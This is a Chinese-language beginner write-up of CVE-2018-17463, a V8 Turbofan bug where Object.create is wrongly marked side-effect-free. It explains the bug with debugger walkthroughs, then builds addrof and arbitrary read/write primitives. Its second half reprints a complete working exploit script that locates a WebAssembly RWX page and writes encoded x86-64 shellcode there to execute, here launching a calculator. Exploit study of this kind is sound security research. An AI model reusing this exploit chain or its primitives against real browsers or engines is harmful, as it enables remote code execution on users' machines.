通过一个CVE零基础入门V8-pwn - 网安 - 专业的网络安全产业、社区、知识平台

前言

跟随P4nda大佬的博客：http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference

复现了CVE-2018-17463，在一些大佬懒得讲的地方加了一些理解和解释，比较新手向

环境

commit: 568979f4d891bafec875fab20f608ff9392f4f29

v8环境搭建：https://zhuanlan.zhihu.com/p/159646912

正文

漏洞存在于src/compiler/js-operator.cc:625

#define CACHED_OP_LIST(V)                                              ... ...  V(CreateObject, Operator::kNoWrite, 1, 1)                            ... ...

问题是对JSCreateObject的操作存在误判，V8认为CreateObject不存在副作用,所以是kNoWrite，副作用就是指某个操作改变了某些全局变量或其他的系统状态等等。

但是实际上，在Turbofan的generic-lowering阶段，generic-lowering作用是将JS前缀指令转换为更简单的调用和stub调用。Turbofan把JSCreateObject节点用Builtins函数kCreateObjectWithoutProperties代替，而kCreateObjectWithoutProperties就是一个stub调用。

（这里一些源码就不放了，新手向新手向，想细看源码的可以移步大佬的博客）

如果一路跟进下去，在JSObject::NormalizeProperties函数中，可以发现该函数会调用Map::Normalize根据原有的map生成一个新的map，并且利用新的map重新构建输入的Object，这明显是一个具有side-effect的操作。

也就是说这个函数会改变我们传进去的参数object。然后看这句代码：

可以看到，新生成的map是字典模式的。所以最后我们输入的object即便原来是fast模式，也会变成字典模式。所以JSCreate并不是KNoWrite的。

KNoWrite是一个枚举类型的标志：

那么我们如何实现JSCreate操作呢，这里可以通过Object.create触发

其函数定义为：

Object.create(proto, [propertiesObject])

第二个参数是可选的，如果写了就会把它加入到新创建的对象的可枚举属性中。然后第一个参数是作为新创建的对象的原型，这也就满足了上面说的一个对象作为另一个对象的原型的条件。

接下来我们用d8去调一下试试：

首先我们声明一个对象：

可以看到此时a是fast模式，然后我们执行Object.create(a)试试：

可以看到，我们只是将a当做一个参数去调用了一个函数，a本身的模式就被改变了。

现在我们只知道a的模式被改变了，那么对应到具体的内存中又发生了哪些变化呢，我们用gdb调进去看看：

先放调试的js代码：

var a={x:1,y:2,z:3};a.b=4;a.c=5;a.d=6;%DebugPrint(a);%SystemBreak();Object.create(a);%DebugPrint(a);%SystemBreak();

我们首先来到第一个断点：

这是a的结构，有六个属性，其中有三个标志为properties，还有三个我们可以通过查看object的map：

发现是inobject properties，也就是保存在结构体内部的属性。

我们可以直接查看a所在的内存：

可以发现，第一个八字节，存的是object对应的map，第二个八字节：

可以看到里面存放了我们后来添加进去的三个属性，并且是按顺序存储。

然后我们看进入到第二个断点处：

可以看到a的map已经变成了字典模式，符合我们上面对它进行的分析。

然后我们查看a的内存：

我们发现x,y,z的属性值不见了，我们再去查看properties：

发现长度变成了6，并且结构变成了hashtable，也就是哈希表。

到了这里，我们发现，Object.create对一个Object的影响，无论原来的属性是inobject properties还是properties，都搞到properties中，并且把原来的线性结构改成hash表的字典结构。

现在我们已经知道了这个side-effect，那么我们如何利用它呢？

首先我们看一个函数：

function foo(o) { return o.a + o.b; }

其IR code 如下：

CheckHeapObject o CheckMap o, map1 r0 = Load [o + 0x18] CheckHeapObject o CheckMap o, map1 r1 = Load [o + 0x20] r2 = Add r0, r1 CheckNoOverflow Return r2

大意就是检查map，赋值，检查map，赋值，相加，检查溢出，返回

当两个检查节点中间的操作是kNoWrite时，第二个检查就变成了多余的，所以我们可以先访问一个对象的内部属性，然后调用Object.create(),由于JS引擎默认这个操作是kNoWrite的，所以可能会导致我们再访问变量的时候不检查了。具体利用方法为：

首先定义一个数组，初始化一个a属性，然后再额外添加一个b属性，然后利用Object.create(数组),改变其内部存储，然后返回b属性。

function attack(){    function change(x){        x.a;        Object.create(x);        return x.b;    }
    for(let i =0;i<10000;i++)    {        let x={a:0x1234};        x.b=0x5678;        let res=change(x);        if(res!=0x5678)        {            console.log(i);            console.log("CVE-2018-17463 exists in the d8");            return;        }    }    console.log("no cve")}attack()

把这段代码扔d8里跑一下：

可以看到确实触发了漏洞

由于它是由顺序表变成了哈希表，具有一定的随机性，每个属性的偏移位置是不固定的，这给我们的稳定利用带来了难度，但是我们又发现了一个规律：

当我们对两个属性名相同的对象进行上面的操作时，相同的属性名所在的偏移是相同的，尽管他们的属性值不同。

接下来就到了比较难懂的地方了，我们抓住相同的属性名偏移相同这一特点，以及V8会有一定可能因为认为Object.create的操作是kNoWrite的而放弃第二次检查这两个特点，去构造一个冲突，什么冲突呢，属性名偏移冲突。

我们先来看代码：

let OPTIMIZATION_NUM = 10000let OBJ_LEN  = 0x30
function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}
function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                //return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}findCollision();

由于本人是刚学V8两天的小白，仅仅这段代码就看了足足一个小时，还好最后也是看懂了，这里来讲讲它做了什么：

可以这样理解，我们先搞出来一个对象，赋一些属性上去，这里注意，一定要是有规律的赋，怎么算有规律呢，我们需要能够做到通过属性名知道属性值，并且能够通过属性值知道属性名，这里可以采用字母+编号的方式。比如b12=120；b13=121;b14=122这种方式，让其对应上。

做以上操作的时候代码中运用了模板字符串啊，eval等这些函数，以前也没怎么接触过js，确实是蒙了一小会，不过多百度百度也就懂了。

然后仿照上面我们判断引擎是否存在cve漏洞的方法，通过判断返回值是否符合预期我们就可以知道是否触发了漏洞，然后这里多了一个操作，如果不符合预期的话，那它应该是给我们返回了一个其他属性的值，什么值呢，这里就需要依靠之前设定的规律来找到，找到发生冲突的属性，假设是我们预期的返回值是A的，但是返回了B的属性值，说明漏洞发生了，数据内存结构被改变了。也就是说当我访问B的时候，它会给我B的属性值，当我访问A的时候，它还会给我B的属性值。

为什么这样就可以利用了呢？

我们上面已经发现了，相同的属性名，偏移不变，所以如果我们新建一个object，然后添加两个属性，名字就叫A和B，此时我去访问A，就可以得到B的数据了，如果B中存了object类型的数据，那么我正常通过B去访问，引擎检测到我要打印object的话，它会显示类型名，即object，如果A中本来存了浮点型的数据，这样打印的时候，会把对应偏移的数据当成浮点型来打印，也就是会打印真值，而对应偏移的数据其实是B的object的地址，这样就拿到了addrof原语。

我们来看一下实现代码：

o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}

这样的话看似返回的应该是1.1，但是实际上返回的是浮点型的object的地址，我们做一下浮点转换即可。

有了addrof原语，我们还需要能够做到任意地址读写，这里借用了ArrayBuffer这一数据结构。我们先来看一下ArrayBuffer的结构长啥样：

pwndbg> v8print 0x1d4b8ef8e1a90x1d4b8ef8e1a9: [JSArrayBuffer] - map: 0x350743c04371  [FastProperties] - prototype: 0x29b14b610fd1 map = 0x350743c043c1>- elements: 0x236c6c482cf1 0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5652a87208f0 - byte_length: 1024 - neuterable - properties: 0x236c6c482cf1 0]> {}- embedder fields = {    (nil)    (nil) }
其长度由byte_length指定，而实际读写的内存位于backing_store，当可以修改一个ArrayBuffer的backing_store时就可以对任意地址进行读写。而此成员在结构体中的偏移是0x20
也就是说我们需要构造一个往偏移+0x20处写的操作就可以控制ArrayBuffer读写哪里的内存。
然后我们来研究一下fast模式下的内存结构，我们先看这段代码执行的结果：
var a={x0:0x41414141};%DebugPrint(a);%SystemBreak();
可以看到第一个属性值出现在了偏移为0x18的位置
那么如果换成这种嵌套的写法呢：
var a={x0:{x1:1.1,x2:1.2}};%DebugPrint(a);%SystemBreak();
我们再来看一下：
我们会发现，0x18存的是0x20处的地址，然后0x20是一个新的对象的起始地址，然后1.2存在了0x20偏移0x20的地方，那么结合之前的漏洞，我们可以知道，当我们去修改X.x0.x2的时候，就是在修改Y.object偏移0x20位置的值了。
也就是说我们有了任意写了，那么如何任意读呢，由于我们是利用ArrayBuffer来进行的任意地址写，读肯定也要借助它，这里用了DataView:
它可以方便的读取ArrayBuffer里的数据。
最后一个问题，我们有了任意地址读写，我们应该考虑的是往一个rwx的区域写shellcode，然后去执行，我们往哪里写呢？
利用的是wasm机制，这里给出一个wasm的实例构造：
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);var wasmImports = {  env: {    puts: function puts (index) {      console.log(utf8ToString(h, index));    }  }};let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);let h = new Uint8Array(m.exports.memory.buffer);let f = m.exports.p4nda;f();
其中，f是一个JSFunction对象，只不过其实际执行代码存放于一个rwx的内存中，通过写该内存的代码区域，最终调用f()，触发来执行shellcode。
首先，构造wasm对象f方便shellcode执行，并利用addrof原语泄露f的地址。然后，定义一个ArrayBuffer对象，并利用gc机制使其被放入Old Space使地址更加稳定。之后，不断的利用该ArrayBuffer对象，泄露并修改其backing_store成员指向待读写区域，具体修改顺序为从JSFucntion到rwx区域的寻址流程：
JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area
我们通过一串调用链一路读下去，读到一个，写到ArrayBuffer的backing_store中，然后接着读指定偏移的数据，再写过去，一直做到我们得到rwx地址，然后往rwx里面写好shellcode，最后调用f()触发即可。
有关wasm机制可以通过这篇文章进行一个初步的了解：https://www.cnblogs.com/jixiaohua/p/10425805.html
到这里所有的攻击原理已经了解清楚了，这里放一下大佬的exp，我这小垃圾自己写肯定是写不来的了，不过至少大佬的exp已经基本弄懂了。
function gc(){    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/    for(var i=0;i<((1024 * 1024)/0x10);i++)    {        var a= new String();    }}function give_me_a_clean_newspace(){    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/    gc()    gc()}let f64 = new Float64Array(1);let u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32;}function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64;}function hex(b) {    return ('0' + b.toString(16)).substr(-2);}// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {    var res = [];    for (var i = 0; i < bytes.length; i++)        res.push(hex(bytes[i]));    return res.join('');}// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {    if (hexstr.length % 2 == 1)        throw new TypeError("Invalid hex string");    var bytes = new Uint8Array(hexstr.length / 2);    for (var i = 0; i < hexstr.length; i += 2)        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);    return bytes;}function hexdump(data) {    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')        data = Array.from(data);    var lines = [];    for (var i = 0; i < data.length; i += 16) {        var chunk = data.slice(i, i+16);        var parts = chunk.map(hex);        if (parts.length > 8)            parts.splice(8, 0, ' ');        lines.push(parts.join(' '));    }    return lines.join('');}// Simplified version of the similarly named python module.var Struct = (function() {    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.    var buffer      = new ArrayBuffer(8);    var byteView    = new Uint8Array(buffer);    var uint32View  = new Uint32Array(buffer);    var float64View = new Float64Array(buffer);    return {        pack: function(type, value) {            var view = type;        // See below            view[0] = value;            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);        },        unpack: function(type, bytes) {            if (bytes.length !== type.BYTES_PER_ELEMENT)                throw Error("Invalid bytearray");            var view = type;        // See below            byteView.set(bytes);            return view[0];        },        // Available types.        int8:    byteView,        int32:   uint32View,        float64: float64View    };})();//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Groß//// Requires utils.js//// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {    // The underlying byte array.    var bytes = new Uint8Array(8);    switch (typeof v) {        case 'number':            v = '0x' + Math.floor(v).toString(16);        case 'string':            if (v.startsWith('0x'))                v = v.substr(2);            if (v.length % 2 == 1)                v = '0' + v;            var bigEndian = unhexlify(v, 8);            bytes.set(Array.from(bigEndian).reverse());            break;        case 'object':            if (v instanceof Int64) {                bytes.set(v.bytes());            } else {                if (v.length != 8)                    throw TypeError("Array must have excactly 8 elements.");                bytes.set(v);            }            break;        case 'undefined':            break;        default:            throw TypeError("Int64 constructor requires an argument.");    }    // Return a double whith the same underlying bit representation.    this.asDouble = function() {        // Check for NaN        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))            throw new RangeError("Integer can not be represented by a double");        return Struct.unpack(Struct.float64, bytes);    };    // Return a javascript value with the same underlying bit representation.    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)    // due to double conversion constraints.    this.asJSValue = function() {        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))            throw new RangeError("Integer can not be represented by a JSValue");        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.        this.assignSub(this, 0x1000000000000);        var res = Struct.unpack(Struct.float64, bytes);        this.assignAdd(this, 0x1000000000000);        return res;    };    // Return the underlying bytes of this number as array.    this.bytes = function() {        return Array.from(bytes);    };    // Return the byte at the given index.    this.byteAt = function(i) {        return bytes[i];    };    // Return the value of this number as unsigned hex string.    this.toString = function() {        return '0x' + hexlify(Array.from(bytes).reverse());    };    // Basic arithmetic.    // These functions assign the result of the computation to their 'this' object.    // Decorator for Int64 instance operations. Takes care    // of converting arguments to Int64 instances if required.    function operation(f, nargs) {        return function() {            if (arguments.length != nargs)                throw Error("Not enough arguments for function " + f.name);            for (var i = 0; i < arguments.length; i++)                if (!(arguments[i] instanceof Int64))                    arguments[i] = new Int64(arguments[i]);            return f.apply(this, arguments);        };    }    // this = -n (two's complement)    this.assignNeg = operation(function neg(n) {        for (var i = 0; i < 8; i++)            bytes[i] = ~n.byteAt(i);        return this.assignAdd(this, Int64.One);    }, 1);    // this = a + b    this.assignAdd = operation(function add(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) + b.byteAt(i) + carry;            carry = cur > 0xff | 0;            bytes[i] = cur;        }        return this;    }, 2);    // this = a - b    this.assignSub = operation(function sub(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) - b.byteAt(i) - carry;            carry = cur < 0 | 0;            bytes[i] = cur;        }        return this;    }, 2);}// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {    var bytes = Struct.pack(Struct.float64, d);    return new Int64(bytes);};// Convenience functions. These allocate a new Int64 to hold the result.// Return -n (two's complement)function Neg(n) {    return (new Int64()).assignNeg(n);}// Return a + bfunction Add(a, b) {    return (new Int64()).assignAdd(a, b);}// Return a - bfunction Sub(a, b) {    return (new Int64()).assignSub(a, b);}// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);function utf8ToString(h, p) {  let s = "";  for (i = p; h[i]; i++) {    s += String.fromCharCode(h[i]);  }  return s;}function log(x,y = ' '){    console.log("[+] log:", x,y);   }
let OPTIMIZATION_NUM = 10000;let OBJ_LEN = 0x20;let X;let Y;// use a obj to check whether CVE-2018-17463 exists
function check_vul(){    function bad_create(x){        x.a;        Object.create(x);        return x.b;
    }
    for (let i = 0;i < OPTIMIZATION_NUM; i++){        let x = {a : 0x1234};        x.b = 0x5678;         let res = bad_create(x);        //log(res);        if( res != 0x5678){            log("CVE-2018-17463 exists in the d8");            return;        }
    }    throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}function printOBJ(x){    for(let i = 0;i        eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);        //console.log('['+i+']'+x[i]);    }}function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}
// create primitive -> addroffunction getOBJ4addr(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = 1.1;        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x1:1.1,x2:1.2};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function addrof(obj){    eval(`        function bad_create(o){            o.a;            this.Object.create(o);            return o.${X}.x1;        }    `);
    for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4addr(obj));         let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.1){            log(tmp);            return ret;         }    }    throw "not found addrof obj";
}
// create primitive -> Arbitrary writefunction getOBJ4read(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = {};        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x0:{x1:1.1,x2:1.2}};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function arbitraryWrite(obj,addr){    eval(`        function bad_create(o,value){            o.a;            this.Object.create(o);            let ret = o.${X}.x0.x2;             o.${X}.x0.x2 = value;            return ret;        }    `);
    for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4read(obj),addr);        let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.2){            return ;        }    }    throw "not found arbitraryWrite";
}
// exploit
function exploit(){    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);    var wasmImports = {      env: {        puts: function puts (index) {          console.log(utf8ToString(h, index));        }      }    };    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);    let h = new Uint8Array(m.exports.memory.buffer);    let f = m.exports.p4nda;    console.log("step 0: Game start");    f();    console.log("step 1: check whether vulnerability exists");    check_vul();    console.log("step 2: find collision");    [X,Y] = findCollision();
    let mem = new ArrayBuffer(1024);     give_me_a_clean_newspace();    console.log("step 3: get address of JSFunciton");    let addr = addrof(f);    console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");    arbitraryWrite(mem,addr);    let dv = new DataView(mem);    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);    console.log("step 5: make ArrayBuffer's backing_store ->  SharedFunctionInfo");    arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);    console.log("step 6: make ArrayBuffer's backing_store ->  WasmExportedFunctionData");    arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);    console.log("step 7: make ArrayBuffer's backing_store ->  WasmInstanceObject");    arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0xc7,true));    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);    console.log("step 8: make ArrayBuffer's backing_store ->  imported_function_targets");    arbitraryWrite(mem,imported_function_targets_addr.asDouble());    code_addr =  Int64.fromDouble(dv.getFloat64(0,true));    console.log("[+] code addr :"+code_addr);    log("step 9: make ArrayBuffer's backing_store ->  rwx_area");    arbitraryWrite(mem,code_addr.asDouble());    console.log("step 10: write shellcode for poping up a calculator");    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];    let write_tmp = new Uint8Array(mem);    write_tmp.set(shellcode_calc);    console.log("[+] Press Any key to execute Shellcode");    readline();    f();
}
exploit();
然后我们来具体打一下看看效果：
计算器确实被丢出来了，拜拜~